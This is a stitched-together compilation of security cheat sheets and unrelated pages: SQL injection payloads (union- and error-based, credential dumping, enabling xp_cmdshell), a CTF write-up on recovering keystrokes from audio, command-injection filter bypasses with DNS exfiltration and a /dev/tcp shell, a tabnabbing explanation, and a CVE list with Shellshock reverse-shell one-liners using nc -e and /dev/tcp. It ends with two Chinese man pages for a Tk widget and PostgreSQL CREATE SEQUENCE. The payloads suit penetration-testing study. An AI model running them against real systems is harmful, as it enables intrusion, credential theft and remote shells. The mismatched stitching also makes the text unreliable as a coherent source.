`http://vulnerable-website.com/Less-1/?id=-1 union select 1,2, database()` **mysql** `http://vulnerable-website.com/Less-1/?id=-1 union select NULL,NULL, database()` **postgres** #### Finding usernames logged in `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, current_user()` **mysql** #### Finding databases `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, schema_name from information_schema.schemata` **mysql** `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, datname from pg_database` **postgres** #### Finding table names from a database `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, table_name from information_schema.tables where table_schema="database_name"` **mysql** `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, tablename from pg_tables where table_catalog="database_name"` **postgres** #### Finding column names from a table `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_schema="database_name" and table_name="tablename"` **mysql** `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_catalog="database_name" and table_name="tablename"` **postgres** #### Concatenate Example: `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, login from users;` `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, password from users;` in one query `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, concat(login,':',password) from users;` **mysql** `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, login||':'||password from users;` **postgres** ### Error Based SQLI (USUALLY MS-SQL) #### Current user `http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(user_name() as varchar(4096)))--` #### DBMS version `http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(@@version as varchar(4096)))--` #### Database name `http://vulnerable-website.com/Less-1/?id=-1 or db_name(0)=0 --` #### Tables from a database `http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U')--` --- `http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U' AND name NOT IN ('previouslyFoundTable',...))--` #### Columns within a table `http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename')--` > remember to change **dbname** and **tablename** accordingly with the given situation > after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample `http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename' AND dbname..syscolumns.name NOT IN('previously found column name', ...))--` #### Actual data `http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename)--` > after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample `http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename AND name NOT IN('previously found row data'))--` #### Shell commands `EXEC master..xp_cmdshell <command>` > you need yo be 'sa' user #### Enabling shell commands `EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_congigure 'xp_shell', 1; RECONFIGURE;`
sec-knowleage
## Hack By The Sound (Misc, 200p) A well known blogger has came to a hotel that we had good relationships with its staffs. We tried to capture the sound of his room by placing a microphone inside the desk. We have recorded the sound about the time that he has typed a text in his blogg. You could find the text he typed in "Blog Text.txt". We reduce noises somehow and found that many characters may have the same keysound. Also we know that he use meaningful username and password. Could you extract the username and password of his blog? flag is concatenation of his username and password as usernamepassword. Download sound.tar.gz ###ENG [PL](#pl-version) The attached .wav file had no sound loud enough for our ears, but amplifying it using Audacity we were able to notice that it was sound of a person typing. Words were pretty noticeable - space always meant that typing stops for a split second. By ear, all the key sounds were identical though. However, we checked out Audacity's wave representation of keys and overlaid some of them in GIMP. Here is the result: ![](http://i.imgur.com/royrw1X.png) The first image is two "S" sounds overlaid - there were almost no changes. The second one - "O" and "I" - had minor differences, and the last one - "N" and "A" - showed noticeable changes. Apparently, the further the keys are on the keyboard, the more differences they have. The task now was obvious, but still hard. In the end, we did the following: - read raw data from the wav - found the sound peaks, corresponding to individual key presses - cut about 0.05s worth of sound around each peak - repair blog text - there were some extra characters in a couple of places, which made keysound-to-character correspondence wrong - for each unknown keypress, iterate over known keypresses and try to find best fit Unfortunately, some characters had the same sound, so we were unable to find the password in plaintext - instead, we got a range of characters for each position: ``` [] [] [ced] [frv] [ced] [ikl] [hny] [sw] [bgt] [ced] [il] [hny] [,.] [ced] [op] [mu] [] [ ] [ ] [ ] [ ] [] [a] [ced] [jmu] [ikl] [hny] [] [-sw] [op] [jmu] [ced] [bgt] [hny] [ikl] [hny] [bgt] [] [ ] [ ] [ ] [ ] [] ``` The first word was probably website (look at the end - ".com"), so we were not interested in that. The remaining two words were somewhat challenging to guess, but eventually we found them: `admin` and `something`. Concatenated togather, they were the flag. ###PL version Załączony plik .wav był zbyt cichy, żeby cokolwiek usłyszec, ale wzmacniając go przy użyciu Audacity, zauważyliśmy, że było to nagranie osoby piszącej na klawiaturze. Słowa były rozróżnialne - spacja była znacznie dłuższym dźwiękiem od pozostałych klawiszy. Te niestety były dla ludzkiego ucha nierozróżnialne. Sprawdziliśmy jednak reprezentację tych dźwięków w Audacity i nałożyliśmy niektóre z nich na siebie w GIMPie. Rezultat: ![](http://i.imgur.com/royrw1X.png) Pierwszy obrazek, to dwa dźwięki "S" nałożone na siebie - wyglądają jak jedna fala. Drugi - to "O" i "I" - miał niewielkie, pikselowe wręcz różnice. Ostatni zaś - "N" i "A" - ujawnił znaczące różnice w dźwiękach. Najwyraźniej im dalej klawisze się od siebie znajdują na klawiaturze, tym większa jest różnica w ich dźwiękach. W tym momencie doskonale wiedzieliśmy, o co chodzi w zadaniu - należy dopasować nieznane dźwięki z początku do znanych z końca nagrania. Łatwo powiedzieć, trudniej zrobić. Ostatecznie, zrobiliśmy to następująco: - wczytalliśmy surowe dane z pliku i je sparsowaliśmy - znaleźliśmy górki odpowiadające uderzeniom klawisza - wycięliśmy około 0.05-sekundowe kawałki wokół każdej górki - naprawiliśmy podany tekst z bloga - niektóre litery pojawiły się w tekście, ale nie w dźwięku, co psuło dopasowywanie - dla każdego nieznanego dźwięku, znajdowaliśmy znany o najlepszym dopasowaniu W praktyce jednak, musliśmy poprzestać na kilku możliwościach dla każdego uderzenia - niektóre klawisze miały bowiem identyczny dźwięk, co inne, nie pozwalając tym samym na jednoznaczny odczyt. Wynik działania programu: ``` [] [] [ced] [frv] [ced] [ikl] [hny] [sw] [bgt] [ced] [il] [hny] [,.] [ced] [op] [mu] [] [ ] [ ] [ ] [ ] [] [a] [ced] [jmu] [ikl] [hny] [] [-sw] [op] [jmu] [ced] [bgt] [hny] [ikl] [hny] [bgt] [] [ ] [ ] [ ] [ ] [] ``` Pierwsze słowo to prawdopodobnie nazwa strony internetowej (świadczy o tym końcówka ".com"), więc nie jesteśmy tym fragmentem zainteresowani. Pozostałe dwa słowa to login i hasło - po dłuższej chwili, zauważyliśmy, że pasują do nich słowa: `admin` i `something`. Połączone razem, były one flagą.
sec-knowleage
# Command Injection > Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application. ## Summary * [Tools](#tools) * [Exploits](#exploits) * [Basic commands](#basic-commands) * [Chaining commands](#chaining-commands) * [Inside a command](#inside-a-command) * [Filter Bypasses](#filter-bypasses) * [Bypass without space](#bypass-without-space) * [Bypass with a line return](#bypass-with-a-line-return) * [Bypass with backslash newline](#bypass-with-backslash-newline) * [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding) * [Bypass blacklisted words](#bypass-blacklisted-words) * [Bypass with single quote](#bypass-with-single-quote) * [Bypass with double quote](#bypass-with-double-quote) * [Bypass with backslash and slash](#bypass-with-backslash-and-slash) * [Bypass with $@](#bypass-with-) * [Bypass with $()](#bypass-with--1) * [Bypass with variable expansion](#bypass-with-variable-expansion) * [Bypass with wildcards](#bypass-with-wildcards) * [Challenge](#challenge) * [Time based data exfiltration](#time-based-data-exfiltration) * [DNS based data exfiltration](#dns-based-data-exfiltration) * [Polyglot command injection](#polyglot-command-injection) * [Backgrounding long running commands](#backgrounding-long-running-commands) * [References](#references) ## Tools * [commix - Automated All-in-One OS command injection and exploitation tool](https://github.com/commixproject/commix) ## Exploits ### Basic commands Execute the command and voila :p ```powershell cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh ``` ### Chaining commands ```powershell original_cmd_by_server; ls original_cmd_by_server && ls original_cmd_by_server | ls original_cmd_by_server || ls # Only if the first cmd fail ``` Commands can also be run in sequence with newlines ```bash original_cmd_by_server ls ``` ### Inside a command ```bash original_cmd_by_server `cat /etc/passwd` original_cmd_by_server $(cat /etc/passwd) ``` ## Filter Bypasses ### Bypass without space Works on Linux only. ```powershell swissky@crashlab:~/Www$ cat</etc/passwd root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ {cat,/etc/passwd} root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin swissky@crashlab:~$ cat$IFS/etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd RCE root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin swissky@crashlab:~$ X=$'uname\x20-a'&&$X Linux crashlab 4.4.X-XX-generic #72-Ubuntu swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242 ``` Commands execution without spaces, $ or { } - Linux (Bash only) ```powershell IFS=,;`cat<<<uname,-a` ``` Tabs work as separators in web apps where spaces are removed. ```powershell ;ls%09-al%09/home drwxr-xr-x 4 root root 4096 Jan 10 13:34 . drwxr-xr-x 18 root root 4096 Jan 10 13:33 .. drwx------ 2 root root 16384 Jan 10 13:31 lost+found drwxr-xr-x 4 test test 4096 Jan 13 08:30 test ``` Works on Windows only. ```powershell ping%CommonProgramFiles:~10,-18%IP ping%PROGRAMFILES:~10,-5%IP ``` ### Bypass with a line return ```powershell something%0Acat%20/etc/passwd ``` You can also write files. ```powershell ;cat>/tmp/hi<<EOF%0ahello%0aEOF ;cat</tmp/hi hello ``` ### Bypass with backslash newline Commands can be broken into parts by using backslash followed by a newline ```powershell ❯ cat /et\ c/pa\ sswd root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync [SNIP] ``` URL encoded form would look like this: ```powershell cat%20/et%5C%0Ac/pa%5C%0Asswd ``` ### Bypass characters filter via hex encoding Linux ```powershell swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" /etc/passwd swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764 /etc/passwd swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764` root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764) /etc/passwd swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)` root:x:0:0:root:/root:/bin/bash ``` ### Bypass characters filter Commands execution without backslash and slash - linux bash ```powershell swissky@crashlab:~$ echo ${HOME:0:1} / swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd root:x:0:0:root:/root:/bin/bash swissky@crashlab:~$ echo . | tr '!-0' '"-1' / swissky@crashlab:~$ tr '!-0' '"-1' <<< . / swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd root:x:0:0:root:/root:/bin/bash ``` ### Bypass Blacklisted words #### Bypass with single quote ```powershell w'h'o'am'i ``` #### Bypass with double quote ```powershell w"h"o"am"i ``` #### Bypass with backslash and slash ```powershell w\ho\am\i /\b\i\n/////s\h ``` #### Bypass with $@ ```powershell who$@ami echo $0 -> /usr/bin/zsh echo whoami|$0 ``` ### Bypass with $() ```powershell who$()ami who$(echo am)i who`echo am`i ``` #### Bypass with variable expansion ```powershell /???/??t /???/p??s?? test=/ehhh/hmtc/pahhh/hmsswd cat ${test//hhh\/hm/} cat ${test//hh??hm/} ``` #### Bypass with wildcards ```powershell powershell C:\*\*2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc ``` ## Challenge Challenge based on the previous tricks, what does the following command do: ```powershell g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/} ``` ## Time based data exfiltration Extracting data : char by char ```powershell swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s user 0m0.000s sys 0m0.000s swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi real 0m0.002s user 0m0.000s sys 0m0.000s ``` ## DNS based data exfiltration Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca ```powershell 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` ```powershell $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` Online tools to check for DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in ## Polyglot command injection ```bash 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} e.g: echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} ``` ```bash /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ e.g: echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/" echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/' ``` ## Backgrounding long running commands In some instances, you might have a long running command that gets killed by the process injecting it timing out. Using nohup, you can keep the process running after the parent process exits. ```bash nohup sleep 120 > /dev/null & ``` ## Labs * [OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple) * [Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays) * [Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection) * [Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band) * [Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration) ## References * [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/) * [Bug Bounty Survey - Windows RCE spaceless](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136) * [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628) * [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware](https://twitter.com/DissectMalware/status/1025604382644232192) * [What is OS command injection - portswigger](https://portswigger.net/web-security/os-command-injection)
sec-knowleage
# Tabnabbing > Reverse tabnabbing is an attack where a page linked from the target page is able to rewrite that page, for example to replace it with a phishing site. As the user was originally on the correct page they are less likely to notice that it has been changed to a phishing site, especially if the site looks the same as the target. If the user authenticates to this new page then their credentials (or other sensitive data) are sent to the phishing site rather than the legitimate one. ## Summary * [Tools](#tools) * [More information about the vulnerability](#More-information-about-the-vulnerability) * [How to exploit](#How-to-exploit) * [How to hunt for it](#How-to-hunt-for-it) * [References](#references) ## Tools - [Discover Reverse Tabnabbing - Burp Extension](https://portswigger.net/bappstore/80eb8fd46bf847b4b17861482c2f2a30) ## More information about the vulnerability When tabnabbing, the attacker searches for links that are inserted into the website and are under his control. Such links may be contained in a forum post, for example. Once he has found this kind of functionality, it checks that the link's `rel` attribute does not contain the value `noopener` and the target attribute contains the value `_blank`. If this is the case, the website is vulnerable to tabnabbing. ## How to exploit ``` 1. Attacker posts a link to a website under his control that contains the following JS code: window.opener.location = "http://evil.com" 2. He tricks the victim into visiting the link, which is opened in the browser in a new tab. 3. At the same time the JS code is executed and the background tab is redirected to the website evil.com, which is most likely a phishing website. 4. If the victim opens the background tab again and doesn't look at the address bar, it may happen that he thinks he is logged out, because a login page appears, for example. 5. The victim tries to log on again and the attacker receives the credentials ``` ## How to hunt for it As already mentioned, you have to search for the following link formats: ```html <a href="..." target="_blank" rel="" /> or <a href="..." target="_blank" /> ``` ## References - [Reverse Tabnabbing - OWASP, 20.10.20](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) - [Tabnabbing - Wikipedia, 20.10.20](https://en.wikipedia.org/wiki/Tabnabbing)
sec-knowleage
# Common Vulnerabilities and Exposures ## Tools - [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve) - [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates) - [Metasploit Framework](https://github.com/rapid7/metasploit-framework) - [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com) ## Big CVEs in the last 5 years. ### CVE-2017-0144 - EternalBlue EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer. Afftected systems: - Windows Vista SP2 - Windows Server 2008 SP2 and R2 SP1 - Windows 7 SP1 - Windows 8.1 - Windows Server 2012 Gold and R2 - Windows RT 8.1 - Windows 10 Gold, 1511, and 1607 - Windows Server 2016 ### CVE-2017-5638 - Apache Struts 2 On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header. ### CVE-2018-7600 - Drupalgeddon 2 A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised. ### CVE-2019-0708 - BlueKeep A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. ### CVE-2019-19781 - Citrix ADC Netscaler A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution. Affected products: - Citrix ADC and Citrix Gateway version 13.0 all supported builds - Citrix ADC and NetScaler Gateway version 12.1 all supported builds - Citrix ADC and NetScaler Gateway version 12.0 all supported builds - Citrix ADC and NetScaler Gateway version 11.1 all supported builds - Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds ## Older, but not forgotten ### CVE-2014-0160 - Heartbleed The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs). ### CVE-2014-6271 - Shellshock Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system. ```powershell echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0.0.2 4444 -e /bin/sh\r\n" curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi" ``` ## Thanks to * [Heartbleed - Official website](http://heartbleed.com) * [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug)) * [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/) * [EternalBlue - Wikipedia](https://en.wikipedia.org/wiki/EternalBlue) * [BlueKeep - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
sec-knowleage
.TH ScrollableFrame 3tk "tcllib - BWidget" .SH NAME .B ScrollableFrame - 包含组件的可滚动的框架 .SH 创建 CREATION .B ScrollableFrame pathName ?option value...? .SH 描述 DESCRIPTION ScrollableFrame 组件包含组件。 .SH 组件特有选项 WIDGET-SPECIFIC OPTIONS .TP -areaheight 为可滚动区域指定高度。如果是 zero,则使可滚动区域的高度刚好足够大得持有它的所有子窗口。 .TP -areawidth 为可滚动区域指定宽度。如果是 zero,则使可滚动区域的宽度刚好足够大得持有它的子窗口。 .TP -constrainedheight 指定可滚动区域是否应当与滚动窗口有相同的高度。如果为真,则不需要垂直滚动条。 .TP -constrainedwidth 指定可滚动区域是否应当与滚动窗口有相同的宽度。如果为真,则不需要水平滚动条。   .TP -height 以象素为单位为这个窗口指定想要的高度。 .TP -width 以象素为单位为这个窗口指定想要的宽度。 .TP -xscrollincrement 参见 canvas 组件的 xscrollincrement 选项。 .TP -yscrollincrement 参见 canvas 组件的 yscrollincrement 选项。 .SH 组件命令 .TP pathName cget option 返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任何值。 .TP pathName configure ?option? ?value option value ...? 查询或修改这个组件的配置选项。如果未指定 option ,则返回描述 pathName 的所有可获得的选项的一个列表。如果指定了不带 value 的 option,则这个命令返回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的相应的子集是一样的)。如果指定了一个或多个选项-值 对,则这个命令把给定的组件选项修改为给定的值;在这种情况下这个命令返回一个空串。Option 可以是能被建立命令接受的任何值。只读选项不可修改。 .TP pathName getframe 返回应当在其中建立组件的滚动框架的路径名。 .TP pathName see widget ?vert? ?horz? 排布(arrange)可滚动区域来使 widget 在窗口中可见。在 widget 太长或太大而不能整个可见的情况下,用 vert 和 horz 指定 widget 的那部分更适合见到。vert 必须是 top (缺省的) 或 bottom,而 horz 必须是 left (缺省的) 或 right。如果 vert 或 horz 不是有效的值,则在这个方向上不滚动区域。 .TP pathName xview ?arg...? 启用 pathName 的水平滚动的标准命令。 .TP pathName yview ?arg...? 启用 pathName 的垂直滚动的标准命令。 .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/05/12 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE SEQUENCE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE SEQUENCE \- 创建一个新的序列发生器 .SH SYNOPSIS .sp .nf CREATE [ TEMPORARY | TEMP ] SEQUENCE \fIname\fR [ INCREMENT [ BY ] \fIincrement\fR ] [ MINVALUE \fIminvalue\fR | NO MINVALUE ] [ MAXVALUE \fImaxvalue\fR | NO MAXVALUE ] [ START [ WITH ] \fIstart\fR ] [ CACHE \fIcache\fR ] [ [ NO ] CYCLE ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE SEQUENCE\fR 将向当前数据库里增加一个新的序列号生成器。 包括创建和初始化一个新的名为 name的单行表。生成器将为使用此命令的用户所有。 .PP 如果给出了一个模式名,那么该序列是在指定模式中创建的。 否则它会在当前模式中创建临时序列存在于一个特殊的模式中,因此如果创建一个临时序列的时候, 不能给出模式名。 序列名必需和同一模式中的其他序列,表,索引,或者视图不同。 .PP 在序列创建后,你可以使用函数 \fBnextval\fR, \fBcurrval\fR, 和 \fBsetval\fR 操作序列。这些函数在 ``Sequence-Manipulation Functions'' 中有详细文档。 .PP 尽管你不能直接更新一个序列,但你可以使用象 .sp .nf SELECT * FROM \fIname\fR; .sp .fi 检查一个序列的参数和当前状态。特别是序列的 last_value 字段显示了任意后端进程分配的最后的数值。 (当然,这些值在被打印出来的时候可能已经过时了 --- 如果其它进程正积极地使用 nextval。) .SH "PARAMETERS 参数" .TP \fBTEMPORARY or TEMP\fR 如果声明了这个修饰词,那么该序列对象只为这个会话创建, 并且在会话结束的时候自动删除。在临时序列存在的时候, 同名永久序列是不可见的(在同一会话里),除非它们是用模式修饰的名字引用的。 .TP \fB\fIname\fB\fR 将要创建的序列号名(可以用模式修饰)。 .TP \fB\fIincrement\fB\fR INCREMENT BY \fIincrement\fR 子句是可选的。一个正数将生成一个递增的序列, 一个负数将生成一个递减的序列。缺省值是一(1)。 .TP \fB\fIminvalue\fB\fR .TP \fBNO MINVALUE\fR 可选的子句 MINVALUE minvalue 决定一个序列可生成的最小值。 如果没有声明这个子句或者声明了 NO MINVALUE,那么就使用缺省。 缺省分别是递增序列为 1 递减为 -263-1。 .TP \fB\fImaxvalue\fB\fR .TP \fBNO MAXVALUE\fR 使用可选子句 MAXVALUE maxvalue 决定序列的最大值。 如果没有声明这个子句或者声明了 NO MAXVALUE,那么就使用缺省。 缺省的分别是递增为 263-1,递减为 -1。 .TP \fB\fIstart\fB\fR 可选的 START WITH start 子句 使序列可以从任意位置开始。缺省初始值是递增序列为 minvalue 递减序列为 maxvalue. .TP \fB\fIcache\fB\fR CACHE cache 选项使序列号预分配并且为快速访问存储在内存里面。 最小值(也是缺省值)是1(一次只能生成一个值, 也就是说没有缓存)这也是缺省。 .TP \fBCYCLE\fR .TP \fBNO CYCLE\fR 可选的CYCLE关键字可用于使序列到达 最大值(maxvalue) 或 最小值(minvalue) 时可复位并继续下去。如果达到极限,生成的下一个数据将分别是 最小值(minvalue) 或 最大值(maxvalue)。 如果声明了可选的关键字 NO CYCLE, 那么在序列达到其最大值之后任何对 nextval 的调用都强返回一个错误。 如果既没有声明 CYCLE 也没有声明 NO CYCLE, 那么 NO CYCLE 是缺省。 .SH "NOTES 注意" .PP 使用 DROP SEQUENCE 语句来删除序列。 .PP 序列是基于 \fBbigint\fR 运算的,因此其范围不能超过八字节的整数范围(-9223372036854775808 到 9223372036854775807)。 在一些老一点的平台上可能没有对八字节整数的编译器支持, 这种情况下序列使用普通的 integer 运算(范围是 -2147483648 到 +2147483647)。 .PP 如果 cache 设置大于一, 并且这个序列对象将被用于并发多会话的场合,那么可能会有不可预料的结果发生。 每个会话在一次访问序列对象的过程中将分配并缓存随后的序列值,并且相应增加序列对象的 last_value。 这样,同一个事务中的随后的 cache-1 次 nextval 将只是返回预先分配的数值,而不用动序列对象。因此,任何在一个会话中分配但是没有使用的数字都将在会话结尾丢失,导致序列里面出现"空洞"。 .PP 另外,尽管系统保证为多个会话分配独立的序列值,但是如果考虑所有会话, 那么这个数值可能会丢失顺序。比如,如果 cache 设置为 10,那么会话 A 保留了 1..10 并且返回 nextval=1, 然后会话 B 可能会保留 11..20 然后在会话 A 生成 nextval=2 之前返回 nextval=11。因此,对于 cache 设置为一的情况,我们可以安全地假设 nextval 值是顺序生成的; 而如果把 cache 设置得大于一, 那么你只能假设 nextval 值总是唯一得,而不是完全顺序地生成。 同样,last_value 将反映任何会话保留的最后的数值,不管它是否曾被 nextval 返回。 .PP 另外一个考虑是在这样的序列上执行的 setval 将不会被其它会话注意到,直到它们用光他们缓存的数值。 .SH "EXAMPLES 例子" .PP 创建一个叫 serial 的递增序列,从101开始: .sp .nf CREATE SEQUENCE serial START 101; .sp .fi .PP 从此序列中选出下一个数字: .sp .nf SELECT nextval('serial'); nextval --------- 114 .sp .fi .PP 在一个 INSERT 中使用此序列: .sp .nf INSERT INTO distributors VALUES (nextval('serial'), 'nothing'); .sp .fi .PP 在一个 COPY FROM 后更新序列: .sp .nf BEGIN; COPY distributors FROM 'input_file'; SELECT setval('serial', max(id)) FROM distributors; END; .sp .fi .SH "COMPATIBILITY 兼容性" .PP \fBCREATE SEQUENCE\fR 是 PostgreSQL 语言扩展。 在 SQL 标准里没有 CREATE SEQUENCE 语句。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 